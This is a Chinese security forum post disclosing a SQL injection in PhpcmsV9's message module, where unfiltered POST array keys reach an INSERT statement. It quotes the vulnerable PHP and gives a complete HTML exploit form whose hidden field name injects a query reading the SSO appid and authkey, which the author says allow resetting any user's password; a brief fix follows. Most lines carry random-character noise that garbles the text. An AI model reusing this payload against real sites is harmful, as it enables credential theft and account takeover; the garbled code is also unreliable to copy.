找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2216|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:
1 {2 I  I4 E; e' v; x9 [) J; @. j. }: w+ ]
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。8 t, P, K. s+ E
3 L  J* n7 `+ ~- D! K7 e
明天再更新下一个漏洞。8 z8 c! Z! q: o& J0 B3 u- q% R' r
详细说明:
8 j, L  G3 ?$ B1 e! _) q; b在/phpcms9/phpcms/modules/message/index.php中有代码如下:
) S/ K& y6 E/ e; _/ H1 A! Z# V
+ w' z7 s" z! f; y' Y  o# D$messageid = $this->message_db->insert($_POST['info'],true);
7 A8 k$ \$ [$ I2 c9 H
$ E3 |0 f- `/ p* T
' d' G" N5 [! {/ t* j! O3 uinsert方法是key value的,代码如下:) L: O+ R2 ?: z1 F: b$ H5 Z

# K. ~+ a' A6 ~* E7 \. Npublic function insert($data, $table, $return_insert_id = false, $replace = false) {  T5 g, Y6 G; C. f% m$ N
                if(!is_array( $data ) || $table == '' || count($data) == 0) {7 r' t% E; n7 g, a+ G- g
                        return false;% y8 |2 A) p& l! V
                }- T. h/ p' t& S0 [! S( j$ A
               
! c- L, a6 l6 T6 X; I8 J# u! I                $fielddata = array_keys($data);
" P& {# I- E/ B0 {6 F                $valuedata = array_values($data);
$ V9 s. j9 F+ k0 o% Q: b, ~" i) V                array_walk($fielddata, array($this, 'add_special_char'));' G! r1 {, s$ {
                array_walk($valuedata, array($this, 'escape_string'));
4 J* D7 D, [) L8 S( _- a: }# f                3 [5 z: o& h4 B# x2 |
                $field = implode (',', $fielddata);
7 Y  o5 Z0 t6 i                $value = implode (',', $valuedata);
: H7 k% |' g1 p- |' [$ I- c  U- Y: Y) b- m8 v" Q
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
: H( O/ R% ]7 R/ K- `                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';& K3 t/ [, u/ T" z7 M- _  s3 L
                $return = $this->execute($sql);
+ n+ Q9 M% w5 f# z8 A( ^5 _                return $return_insert_id ? $this->insert_id() : $return;
' O( B. ~$ x7 Q5 l+ J1 c/ o        }/ u% q; t% h# ^& @  v2 V; a
; E6 q) {" x8 C$ G
% a  Y+ M; G6 i5 m! u. l
嗯,很遗憾的是7 g; i/ X. |* a7 P, Y* b

' r1 b. y  J8 [) H$ Yarray_walk($fielddata, array($this, 'add_special_char'));
4 [" S2 s) H4 h) X7 R0 `! C
$ n# s& q/ e! M, b5 J5 @
' J1 z: m1 ?. G/ m' a中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
2 \2 I- |9 e" S& @
, W4 P  }9 @7 b2 b) w! u到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。; ?5 j; v& `; }7 J3 D: m6 O' P& I/ M
- l* B* ^5 ~. I2 B
漏洞证明:
  Y7 m, h/ p& P7 t0 z$ Y读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。4 o1 G6 T4 O( \5 J* E

# o) i. F- M7 {3 b4 u- b  Z
! W& }1 Y: C9 P% ~表单如下:用户名什么的得自己改一改。
8 t+ n6 N0 `3 j, N8 I. Q* z<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
5 \6 p0 Z6 v* [, y<table width="100%" cellspacing="0" class="table_form">
( U) V9 ~4 Y: I7 G<tr>- x" @) i; g' P. U4 ]* g
<th>标 题:</th>) p* F- C0 }# s+ `! ~+ @
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
4 T7 w4 v/ C5 @- S</tr> 4 B, \% t$ t5 A
<tr>
; j; P1 b/ K, W) M3 G<th>内 容:</th>0 V4 w. n6 I# d
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
+ t9 {5 w0 o( m</tr>( ~7 I7 E' h1 L. Q% e
<input type="hidden" name="info[replyid]" value="2" />
) P! j7 _. ]% b( C0 G  }8 ~' q4 @<input type="hidden" name="info[send_to_id]" value="cc" />
5 w+ v8 v+ S/ T' A6 h<input type="hidden" name="info[send_from_id]" value="hh">! g1 j! s- S5 }" v1 A- |
<!-- 漏洞的利用重点在这里开始 -->) G# m% A5 z/ @% |7 B, N
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
9 o4 _3 H* q1 P' ~8 ~3 Z: h<!-- 漏洞的利用重点在这里结束 -->- q# R: f0 n" D1 b
<tr>4 k4 z, }: K' G+ v1 B; A( G
<th>验证码:</th>
. j2 i' u# X- Q+ k' r<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
8 W1 Q! _* h! c  r$ I. B</tr>
7 ~8 P8 e6 E+ g<tr>) Y" [; d' G& B, o- c" U
<td></td>
. q1 ~* F/ C% A<td colspan="2"><label>* I3 ^7 k5 p- T" q5 g
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>+ U9 _% g' _+ _0 W% X* m
</label></td>) X8 N3 c4 D- T- w" E% x# F9 U
</tr>
' n3 S$ C/ N  d# ~# O4 D2 ~</table>
0 U) q9 `" Y/ F; r4 ^1 G4 e</form>6 Q* X+ k# S. D0 F1 F$ I1 x! j4 X  _
在add_special_char函数内对key做过滤就可以了。% G% _; s6 @. r; `% [+ m9 G
) c& Q: n; [+ i* o+ J

2 g; e3 ^( y2 P: C& N- S) q9 B+ }6 v0 R5 t4 F

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表